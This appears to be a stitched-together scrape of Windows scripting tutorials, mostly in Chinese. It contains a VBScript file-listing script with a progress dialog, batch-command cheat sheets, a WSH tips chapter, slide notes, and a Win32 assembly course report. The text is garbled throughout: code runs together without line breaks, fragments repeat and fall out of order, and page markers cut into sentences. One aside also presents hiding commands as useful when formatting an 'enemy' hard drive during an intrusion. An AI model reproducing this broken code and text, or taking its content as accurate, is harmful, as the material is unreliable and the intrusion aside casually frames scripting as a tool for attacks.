part is continued after the window has been closedMsgBox listsub event_WakeUp' this event is fired once the modal window becomes visible' this event is the key and lets your script regain control' while the modal window is still visible and thinks its in' charge' recursively search all foldersShowFiles fs.GetFolder("C:\")' IMPORTANT: use a MsgBox statement!' it reassigns the window handle to the correct threadMsgBox "Close Down"' close the modal dialog windowtool.CloseDialogend subsub event_QuitNow' this event is fired once someone clicks the Cancel button' quit is set to true. Inside of ShowFiles, quit is queried' and if it's true, the procedure exits immediatelyquit = trueend subsub ShowFiles(dirobj)' did someone hit Cancel? Then quit!if quit then exit sub' search all files in current folderfor each file in dirobj.files' write status information to modal windowtool.WriteDialog dirobj.path & vbCr & dirobj.files.count _& " files..." & vbCr & ' add files to listlist = list & file.path & vbCr' IMPORTANT: call HandleEvent frequently to allow your COM' object to get some CPU cycles to respond to mouse action' If you don't, you can't click the Cancel button because' the COM object is completely busytool.HandleEvent' again, did someone hit Cancel? Leave loop immediately!if quit then exit subnext' recursively search all subfoldersfor each subfolder in dirobj.subfoldersShowFiles subfoldernextend sub' --- the following code had been automatically added to ensure all required COM objects are installed.function COMExists(name)' checks whether a specific COM object is installed on' your local machineset cwsh = CreateObject("WScript.Shell")on error resume nextdummy = cwsh.RegRead("HKCR\" & name & "\")if err.number<>0 thenCOMExists = falseelseCOMExists = trueend ifend functionsub CheckCOMif not COMExists("scripting.filesystemobject") thenmsg="COM-Object ""scripting.filesystemobject"" is required. This object is currently not installed on your system." & vbCrmsg = msg & "Reinstall the Windows Scripting Host!" & vbCrMsgBox msg, vbExclamationend ifif not COMExists("modeless.dialog") thenmsg="COM-Object ""modeless.dialog"" is required. This object is currently not installed on your system." & vbCrmsg = msg & "Install the MODELESS component from CD" & vbCrMsgBox msg, vbExclamationend ifend sub'--- end of COM object checking code' (C) 2000 by Dr. T. Weltner - all rights reserved.' 17-8.VBS'---the following lines have been added to ensure all required COM objects are available on your system.' script uses the following components:' scripting.filesystemobject' modeless.dialogCheckCOM'---end of COM-object checking code---set fs = CreateObject("Scripting.FileSystemObject")set tool = WScript.CreateObject("modeless.dialog", "event_")list = ""quit = falsetool.WriteDialog "Starting..."' this time, use progress bar dialogtool.ShowProgressDialogMsgBox listsub event_WakeUpShowFiles fs.GetFolder("C:\")MsgBox "Close Down"tool.CloseDialogend subsub event_QuitNowquit = trueend subsub ShowFiles(dirobj)if quit then exit subcounter = 0filecount = dirobj.files.countfor each file in dirobj.filescounter = counter + 1tool.WriteDialog dirobj.path & vbCr & filecount _& " files..." & vbCr & ' calculate percent donepercent = Fix(counter * 100/filecount)' set progress bar accordinglytool.SetProgress percentlist = list & file.path & vbCrtool.HandleEventif quit then exit subnextfor each subfolder in dirobj.subfoldersShowFiles subfoldernextend sub' --- the following code had been automatically added to ensure all required COM objects are installed.function COMExists(name)' checks whether a specific COM object is installed on' your local machineset cwsh = CreateObject("WScript.Shell")on error resume nextdummy = cwsh.RegRead("HKCR\" & name & "\")if err.number<>0 thenCOMExists = falseelseCOMExists = trueend ifend functionsub CheckCOMif not COMExists("scripting.filesystemobject") thenmsg="COM-Object ""scripting.filesystemobject"" is required. This object is currently not installed on your system." & vbCrmsg = msg & "Reinstall the Windows Scripting Host!" & vbCrMsgBox msg, vbExclamationend ifif not COMExists("modeless.dialog") thenmsg="COM-Object ""modeless.dialog"" is required. This object is currently not installed onyour system." & vbCrmsg = msg & "Install the MODELESS component from CD" & vbCr MsgBox msg, vbExclamationend ifend sub'--- end of COM object checking code' (C) 2000 by Dr. T. Weltner - all rights reserved.。
Windows命令行脚本编写
Windows命令⾏脚本编写upd⽼掉⽛的玩意,powershell是windows下更好的脚本语⾔每⼀个命令实际上是某个系统⽂件夹下的 .exe ⽂件利⽤PATH环境变量,可以配置这些命令,配置之后即可在cmd调⽤说明⽤来提⾼⼯作效率cmd⾥⾯help findstr啥⽤法都出来了常⽤的命令:: 我是注释exitst 检查⽂件,符号是否存在,注意空字符串判断不存在defined 检查变量是否定义find、findstr ⽂本搜索命令cd cd不能直接切换到某个位置,⽤pushd即可pushdpopdexit 退出脚本more 显⽰模式sortcall 本窗⼝调⽤start 新开窗⼝调⽤md mkdir 新建⽂件夹echo=>1.txt 新建⽂件echo. 输出换⾏dir 显⽰所有⽂件dir /b 纯⽂件名ren 1.txt 2.txt 改名字for %%i in (...) do ( //空格必须打,否则解析失败...)系统常识批处理对命令格式很敏感,⽐如多⼀个空格少⼀个空格都影响很⼤当你学习的时候,发现⼀模⼀样的批处理命令运⾏不了,⼀般就是细节不会,⽐如in(*.*)不合法in (*.*)合法延迟扩展执⾏完⼀条语句,才对变量重新赋值@echo offset a=4set a=5&echo %a% // 这⾥输出 4,因为运⾏到这条语句时,a采⽤上⼀条语句运⾏完的值pause关闭延迟@echo offsetlocal enabledelayedexpansion // 写上该语句set a=4set a=5&echo !a! // 同时,采⽤ !a! ,%a%保持延迟pause强化实践,输出1 2 3 4 5@echo offsetlocal enabledelayedexpansionfor /l %%i in (1,1,5) do (set a=%%iecho !a!)pause@echo off // 这样也可以,因为for中的i是不延迟的for /l %%i in (1,1,5) do (echo %%i)pause关系运算符,不区分⼤⼩写EQU - 等于NEQ - 不等于LSS - ⼩于LEQ - ⼩于或等于GTR - ⼤于GEQ - ⼤于或等于%0 代表批处理⽂件的路径%1 ~ %9 传递进来的1-9个参数 // call指令可以调⽤别的批处理并传递参数echo. 换⾏echo %PATH% 输出环境变量echo %DATE%echo %RANDOM% 输出⼀个随机数echo %TIME%echo %num%set /p num=input a number:ERRORLEVEL 调⽤完命令后可以通过ERRORLEVEL拿到返回值、错误码REM 我是注释con 屏幕nul 空设备prn 打印机>> 产⽣的内容将追加进⽂件中> 则将原⽂件内容覆盖< 输⼊重定向<<代表当前标准输⼊来⾃命令⾏的⼀对分隔号的中间内容& 顺序执⾏多条命令,⽽不管命令是否执⾏成功&& 顺序执⾏多条命令,当碰到执⾏出错的命令后将不执⾏后⾯的命令|| 顺序执⾏多条命令,当碰到执⾏正确的命令后将不执⾏后⾯的命令(即:只有前⾯命令执⾏错误时才执⾏后⾯命令)| 管道命令前⼀个命令的执⾏结果输出到后⼀个命令如:help|more字符串操作正则表达式. 通配符: 任何字符* 重复: 以前字符或类出现零或零以上次数^ ⾏位置: ⾏的开始$ ⾏位置: ⾏的终点[class] 字符类: 任何在字符集中的字符[^class] 补字符类: 任何不在字符集中的字符[x-y] 范围: 在指定范围内的任何字符\x Escape: 元字符 x 的⽂字⽤法\<xyz 字位置: 字的开始xyz\> 字位置: 字的结束基本的字符串操作截取@echo off// echo %str:~pos,len%set str=abcdefg123456789echo %str%echo %str:~3,1%echo %str:~,-5%pause字符串替换@echo offset str=hello,mzb,mzb,aaaaaecho %str%echo %str:aa=bb%pause拼接@echo offset str=helloset mzb=mzbecho %str%,%mzb%pause其他命令findstrstrlen 莫得库函数,得⾃⼰实现@echo offset /p str=Input:if not defined str goto :eofset num=0:labelset /a num+=1set str=%str:~,-1%if defined str goto :labelecho %num%pause既定ifgoto end:endgoto :eof直接退出⽤户选择 + if@echo offchoice /C dme /M "defrag,mem,end"if errorlevel 3 goto endif errorlevel 2 goto memif errotlevel 1 goto defrag:defragc:\dos\defraggoto end:memmemgoto end:endpause普通if@echo offset a="123.txt"if exist %a% (echo file exist) else (echo file not found)pausefor注意for (str)的时候,会按空格或者,分割字符串然后执⾏@echo offfor %%c in (*.bat,*.txt) do (type %%c)pausefor /D %%i in (*) do echo %%i 显⽰⽂件夹for /L %%i in (1,1,100) do echo %%i 范围forfor /R %%i in ([路径]) do echo %%i 枚举路径下的所有⽂件夹for /F是⽤来处理⽂本的,所以花样⽐较多指定分割符for /f "delims=.," %%i in (test.txt) do echo %%i 按'.'或者','切割字符串for /f 简单来说,默认每⾏按分隔符分割成⼀个,单词数组(下标从1开始),然后默认返回每⾏第1个单词定点提取for /f "tokens=3" %%i in (123.txt) do echo %%i 输出每⾏第3个单词tokens=2,3tokens=2-3,5tokens=2,* 1丢弃,%a = 2,%b = 剩下的for /f "tokens=3,4" %%i in (123.txt) do echo %%i %%j%%i,%%j,%%k分别接受tokens=3,4...for /f "tokens=3,4" %%a in (123.txt) do echo %%a %%b%%a,%%b,%%c...按顺序⾛就⾏了跳过前n⾏for /f "skip=2 tokens=2" %%i in (123.txt) do echo %%i 跳过前n⾏过滤以;开头的⾏for /f "eol=; tokens=1" %%i in (123.txt) do echo %%i处理"123 123.txt"⽆法识别的问题for /f "usebackq" %%i in ("test 1.txt") do echo %%i。
【windows 脚本系列】14. 程序设计的技巧与秘诀
14. 程序设计的技巧与秘诀本章将提供许多处理Microsoft Windows Script Host(WSH)的有用技巧与秘诀,其中有些部分已经在前面的章节中介绍过了。
他们被组织为一般的主题:执行时期的错误;长文件名、AT命令和系统呼叫;使用者对话盒与输出;档案处理;播放音乐;Windows Shell;以及呼叫DUN联机等。
执行时期的错误VBScript和JScript都提供行内(inline)的错误处理,也就是说您的Script可以从会导致Script结束的错误中拦截并取得。
在本节中,将概述您在Script中使用明确的执行时期错误处理时所需要知道的知识。
在VBScript中处理执行时期的错误您可以在VBScript中藉由使用在执行时期的错误发生之后会导致下一个叙述继续被执行的On Error Resume Next叙述来实作明确的执行时期错误处理。
这个叙述允许行内的执行时期错误处理。
(只有语法错误还会被指令引擎报告出来。
)您可以使用Err对象来取得错误代码。
举例来说,如果oWSH是一个指向WshShell对象的对象变量,那么您可以在使用RegRead方法时检查可能会被唤起的错误:valx = oWSH.RegRead("....", "xxxx")If Err <> 0 Then...如果在第1叙述执行时执行时期的错误发生,则Err对象的值便不会等于0。
您可以使用Err.Number来取得错误代码,以及使用Err.Description来取得错误讯息。
在前面的许多章节中皆使用此技巧来处理执行时期的错误。
您可以使用On Error GoTo 0叙述来取消执行时期错误的处理。
在这个叙述之后,将换由指令引擎来处理执行时期的错误。
注意如同我所说过的,启动行内之执行时期错误的处理将禁止所有不明确的错误讯息,所以您的Script便必须负起侦测与报告执行时期错误的责任。
windows脚本
如何能够使用脚本去自动化日常管理任务,可以简化管理员的日常工作。
但为什么学习写脚本呢?不是已经有很多网站,如Microsoft‘s Script Center Script Repository,可以下载大量的满足需求的脚本吗?没错,有一定道理。
这些脚本的确是很好用,但通常你需要对它们进行定制以满足自己的要求或自己环境的特殊要求。
又有时你希望自己可以对脚本进行某些修改,以完成与脚本作者解决问题的方法不一样的功能,比如将几个脚本整合成一个大的脚本或者将一个脚本的输出作为另一个脚本的输入。
或者你想修改其中的一个脚本,这样你就可以用来处理用户的实时输入。
或者你想将一个脚本修改后作为启动脚本或登录脚本使用。
又或者你想通过修改一个脚本,使它对一个远程计算机上产生作用等等。
使用脚本程序管理Windows网络第一部分:基础从Windows 学习如何自动化日常管理任务并根据这个来自于的技巧管理你的网络。
一个流行的关于教授人知识的谚语:“授人以鱼,不如授人以渔。
”的确如此。
而在忙碌的IT世界里,这也适用于脚本化管理:“给人一个有用的脚本,不如教他自己写脚本。
”如何能够使用脚本去自动化日常管理任务,可以简化管理员的日常工作。
但为什么学习写脚本呢?不是已经有很多网站,如Microsoft’s Script Center Script Repository,可以下载大量的满足需求的脚本吗?没错,有一定道理。
这些脚本的确是很好用,但通常你需要对它们进行定制以满足自己的要求或自己环境的特殊要求。
又有时你希望自己可以对脚本进行某些修改,以完成与脚本作者解决问题的方法不一样的功能,比如将几个脚本整合成一个大的脚本或者将一个脚本的输出作为另一个脚本的输入。
或者你想修改其中的一个脚本,这样你就可以用来处理用户的实时输入。
或者你想将一个脚本修改后作为启动脚本或登录脚本使用。
又或者你想通过修改一个脚本,使它对一个远程计算机上产生作用等等。
Windows脚本编程教程.txt - 记事本
命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会 理解你的意图啊。 set 命令
显示、设置或删除变量。 显示变量:set 或 set s 前者显示批处理当前已定义的所有变量及其值,后者显示所 有以s开头的变量及值。 设置变量:set aa=abcd 此句命令便可向变量aa赋值abcd。如果变量aa已被定义,则aa 的值被修改为abcd;若aa尚未定义,则此句命令即可定义新的变量aa,同时为变量aa赋予初 始值abcd。 删除变量:set aa= 此句命令即可删除变量aa。若变量aa已被定义,则删除变量aa;若 aa尚未定义,则此句命令无实质意义。 需要说明的是,批处理中的变量是不区分类型的,不需要像C语言中的变量那样还要区 分int、float、char等。比如执行set aa=345后,变量aa的值既可以被视为数字345,也可 以被视为字符串345。 set命令具有扩展功能,如用作交互输入、字符串处理、数值计算等,属于高级命令范 畴。 编辑本段批处理符号简介 回显屏蔽 @ 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人 [批处理过程]
第2页
Windows脚本编程教程.txt
然后写入信息aaaaa;若a.txt本来就不存在,该命令即可新建一个a.txt文件,并写入信息 aaaaa。
echo aaaaa>>a.txt 类似于echo aaaaa>a.txt。区别在于:如果a.txt本已存在, >a.txt会擦除a.txt中的原有内容,而>>a.txt并不擦除原有内容,仅在a.txt文件的末尾添 加信息aaaaa。a.txt不存在时,二者没有差别。 重定向2 <
win32编写记事本要点
华北科技学院课程设计说明书专业:网络工程课程名称: 汇编课程设计班级:姓名: 学号:设计题目: win32编写记事本设计时间: 2011-12-05 至2011-12-16 评语: ________________________________ _________________________________________ _________________________________________ _________________________________________ _________________________________________ _________________________________________ 评阅成绩:____评阅教师:_____课程设计报告的要求1、需求分析:描述问题,简述课题要解决的问题是什么,有什么要求和限制条件。
2、总体设计(程序设计组成框图、流程图)3、详细设计(模块功能说明(如函数功能、入口及出口参数说明,过程调用关系描述等))4、调试与测试:调试方法,测试结果的分析与讨论,测试过程中遇到的主要问题及采取的解决措施5、测试结果,用几组测试数据进行测试算法设计的正确性。
6、附录。
源程序清单和结果:源程序要加注释。
结果要包括测试数据和运行结果。
《汇编语言》课程设计案例一、问题陈述及其需求分析要求:在windows系统下利用32位汇编编写一个简单但功能能实现的记事本。
内容:在利用32位汇编编写记事本的时候,考虑到很多问题:(1)首先最重要的是汇编软件的选择,刚开始用asm2011软件编写,最终不行,最后参考资料,如坚持用它的话,必须用代码编写资源代码才能使用;因此为了方便,区别于dos系统下的汇编,我采用了Radasm汇编软件。
(2)其次是记事本的编辑,由于记事本我们大家都常见,曾经也用过高级语言编写过,例如java,因此对其格式很了解,但是还有一个问题就是,我们将如何用汇编这种语言来编写记事本呢,例如如何编写记事本基本框架,编写菜单栏,建立菜单项,添加文本编辑区及建立文本编辑区。
Windows 脚本编程
Say Hello
• 展示用 bat,js,vbs,hta,wsf 等类型的示例 • 简要说明上述文件类型的文件结构语法
文件操作示例
• FSO 组件
•Scripting.FileSystemObject
• 现场编写示例
成型的例子——任务管理器
• wmi
•winmgmts
• 演示示例
成型的例子——小青蛙 Frog
• WSH 不是什么?
• 不是一种脚本语言 • 不(单单)是一种对象模型
WSH 的两种脚本宿主
• WScript.exe
• CScript.exe
• 提示
WSH 的两种脚本宿主
• WScript.exe
• 基于GUI
• CScript.exe
• 提示
WSH 的两种脚本宿主
• WScript.exe
Windows 脚本编程
TS 黄志龙
议程
• 什么是 Windows 脚本 • Windows 脚本构架 • Windows 脚本宿主 • 范例与问答
议程
• 什么是 Windows 脚本 • Windows 脚本构架 • Windows 脚本宿主 • 范例与问答
Windows 脚本
• 是什么?
• 主要作用
常见的误解
常见的误解
• Windows 脚本就是批处理,就是 .bat • 脚本非常难写 • 脚本只是 web 开发者的工具,而对系统管理员没啥帮助 • 有空研究如何写复杂的脚本还不如每天自己做操作 • 我想学,但没有关于 Windows 脚本的系统参考资料或书籍 • 学习脚本就是学 JScript 或 VBScript • ......
Windows 脚本
第1章 Windows脚本宿主
(脚本语言引擎)真正解释脚本语言自 身。
“Host” 部分
“Host” 部分
set wnet = CreateObject(“work“) uname = erName Msgbox “Your user name is”&uname
与编写批处理文件区别
Ruby PHP
与编程语言的区别
解释型语言以纯文本的形式存在计算机 上,并且每次运行它们的时候,都要一 行一行地查看。 编译型程序只分析一次,并且转换为处 理器可以直接理解的硬件”机器指令”。
—个简单的脚本
„script 01 dir="c:\" set Fsys = CreateObject("Scripting.FileSystemObject") totalsize=0 for each file in Fsys.GetFolder(dir).Files
批处理文件只能启动程序,不能为你提 供与程序交互的方式。 批处理文件不允许使用对象以及操作 文本和数字。
脚本语言
编辑器:
notepad、vi、Sublime
语言:
VBScript (ASP) Jscript 、 Javascript (HTML) Perl
Python
wscript.echo "This is output from my first script " wscript firstscript.vbs
Windows如何运行脚本
Wscript 窗口化版本使用一个弹出对话框来显示 文本输出消息 Cscript 命令行程序所常见的、常规的”标准输 出”方法来显示文本
命令选项
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
后的内容会显示出来,然而::后的内容仍然不会显示。 Rem Message Sample:@Rem Here is the description. pause 命令 暂停命令。运行 Pause 命令时,将显示下面的消息: Press any key to continue. . .(或:请按任意键继续. . .) Sample: @echo off :begin copy G:*.* d:\back echo 请插入另一张光盘... pause goto begin 在这个例子中,驱动器 G 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您 将另一张光盘 盘放入驱动器 G 时,pause 命令会使程序挂起,以便您更换光盘,然后按任意键继续 处理。 call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call [批处理功能界面]
第2页
Windows脚本编程教程.txt
然后写入信息aaaaa;若a.txt本来就不存在,该命令即可新建一个a.txt文件,并写入信息 aaaaa。
echo aaaaa>>a.txt 类似于echo aaaaa>a.txt。区别在于:如果a.txt本已存在, >a.txt会擦除a.txt中的原有内容,而>>a.txt并不擦除原有内容,仅在a.txt文件的末尾添 加信息aaaaa。a.txt不存在时,二者没有差别。 重定向2 <
选择批处理 用来表示这个字母是标签,goto
命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会 理解你的意图啊。 set 命令
显示、设置或删除变量。 显示变量:set 或 set s 前者显示批处理当前已定义的所有变量及其值,后者显示所 有以s开头的变量及值。 设置变量:set aa=abcd 此句命令便可向变量aa赋值abcd。如果变量aa已被定义,则aa 的值被修改为abcd;若aa尚未定义,则此句命令即可定义新的变量aa,同时为变量aa赋予初 始值abcd。 删除变量:set aa= 此句命令即可删除变量aa。若变量aa已被定义,则删除变量aa;若 aa尚未定义,则此句命令无实质意义。 需要说明的是,批处理中的变量是不区分类型的,不需要像C语言中的变量那样还要区 分int、float、char等。比如执行set aa=345后,变量aa的值既可以被视为数字345,也可 以被视为字符串345。 set命令具有扩展功能,如用作交互输入、字符串处理、数值计算等,属于高级命令范 畴。 编辑本段批处理符号简介 回显屏蔽 @ 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人 [批处理过程]
Windows脚本编程教程.txt cho 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo [批处理与联机处理]
批处理与联机处理 命令将显示当前回显设置。
语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合 来实现输入一些命令到特定的文件中。 rem 命令 注释命令,类似于在C语言中的/*--------*/,它并不会被执行,只是起一个注释的作 用,便于别人阅读 和你自己日后修改。 :: 也具有rem的功能 但::和rem还是有区别的,当关闭回显时,rem和::后的内容都不会显示。 [顺序批处理]
将输入信息来源重定向为指定的设备或文件。系统默认从显示器读取输入信息。 重定向使用举例: ========================================= @echo off echo abcdefg——这是文件a.txt中的信息>a.txt echo 请任意输入字符,以回车结束: set /p ifo= cls echo 【 从屏幕获得的输入信息 】 echo %ifo% set /p ifo=<a.txt echo 【 从文件a.txt获得的输入信息 】 echo %ifo% pause>nul ========================================= 读者观察命令与输出即可体会到重定向的功能和效果。 管道符号 | 将管道符号前面命令的输出结果重定向输出到管道符号后面的命令中去,作为后面命令 的输入。使用格式为:command_1|command_2 管道符号使用举例: ========================================= @echo off echo aaaa>a.txt del /p a.txt pause ========================================= @echo off echo aaaa>a.txt echo y|del /p a.txt pause ========================================= 对比以上两个批处理执行结果,读者即可明白管道符的用法和效果。 需要说明的是,上面del命令添加开关/p只是为了让读者明白管道符号的使用方法,实 际删除文件时不加/p开关即可实现无提示直接删除。 转义符 ^ 将特殊符号转化为一般符号,即剥离特殊符号的特殊地位。特殊符号指:| & > < 比如,如果我们想输出符号“>”,直接用命令 echo > 是不行的,必须修改为 echo ^> 。其余几个特殊符号类似需要有同样的处理。 转义字符使用举例: ========================================= @echo off echo aaaa>a.txt echo 第一句echo执行完毕 echo aaaa^>a.txt echo 第二句echo执行完毕 pause ========================================= 比较上面的两句echo,第一句echo将信息aaaa输出到了文件a.txt,而第二句echo则在 直接屏幕上显示出aaaa>a.txt 逻辑命令符
常见批处理案例 终止就返回命令提示。如果在命令
脚本内执行,该新行为则不会发生。 goto 命令
跳转命令。程序指针跳转到指定的标签,从标签后的第一条命令开始继续执行批处理程 序。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1.%2你不明白的话,先跳过去,后面会 有详细的解释 。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个: [选择批处理]
第4页
Windows脚本编程教程.txt
对于以上列出的所有命令,在cmd中输入命令+/?即可查看该命令的帮助信息。如find /? 编辑本段语句结构释义
类似于C语言,批处理也有它的语句结构。批处理的语句结构主要有选择结构(if语句) 、循环结构(for语句)等。 if语句(选择结构)
if语句实现条件判断,包括字符串比较、存在判断、定义判断等。通过条件判断,if语 句即可以实现选择功能。
批处理过程 的硬盘)自然不能让对方看到你使用的命令啦。
@用法举例:通过运行批处理文件对比pause和@pause命令即可明了@的效果。 重定向1 >与>>
将输出信息重定向到指定的设备或文件。系统默认输出到显示器。 如:echo aaaaa>a.txt 即可将本在显示器上显示的信息aaaaa输出到文件a.txt中,屏 幕上没有任何显示。如果文件a.txt本来已经存在,该命令将首先擦除a.txt中的所有信息,
第1页
Windows脚本编程教程.txt HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序 [常见批处理案例]
第3页
ws脚本编程教程.txt
逻辑命令符包括:&、&&、|| &-它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行 失败; &&-当&&前面的命令成功执行时,执行&&后面的命令,否则不执行; ||-当||前面的命令失败时,执行||后面的命令,否则不执行。 ========================================= @echo off echo ^|^| reg add HKCU /v try /f||echo **成功** reg add HKCU1 /v try /f||echo **失败** echo ^&^& reg delete HKCU /v try /f&&echo **成功** reg delete HKCU /v try /f&&echo **失败** echo ^& reg delete HKCU /v try /f&echo **成功** reg delete HKCU /v try /f&echo **失败** pause ========================================= 执行reg add或reg delete后,系统会给出执行结果;我们通过echo命令也给出了“执 行结果”。对比系统和我们自己给出的结果,既可以验证逻辑命令的判断机理。 编辑本段常用DOS命令释义 文件夹管理 cd 显示当前目录名或改变当前目录。 md 创建目录。 rd 删除一个目录。 dir 显示目录中的文件和子目录列表。 tree 以图形显示驱动器或路径的文件夹结构。 path 为可执行文件显示或设置一个搜索路径。 copy 复制文件和目录树。 文件管理 type 显示文本文件的内容。 copy 将一份或多份文件复制到另一个位置。 del 删除一个或数个文件。 move 移动文件并重命名文件和目录。(Windows XP Home Edition中没有) ren 重命名文件。 replace 替换文件。 attrib 显示或更改文件属性。 find 搜索字符串。 fc 比较两个文件或两个文件集并显示它们之间的不同 网络命令 ping 进行网络连接测试、名称解析 ftp 文件传输 net 网络命令集及用户管理 telnet 远程登陆 ipconfig显示、修改TCP/IP设置 msg 给用户发送消息 arp 显示、修改局域网的IP地址-物理地址映射列表 系统管理 at 安排在特定日期和时间运行命令和程序 shutdown立即或定时关机或重启 tskill 结束进程 taskkill结束进程(比tskill高级,但WinXPHome版中无该命令) tasklist显示进程列表(Windows XP Home Edition中没有) sc 系统服务设置与控制 reg 注册表控制台工具 powercfg控制系统上的电源设置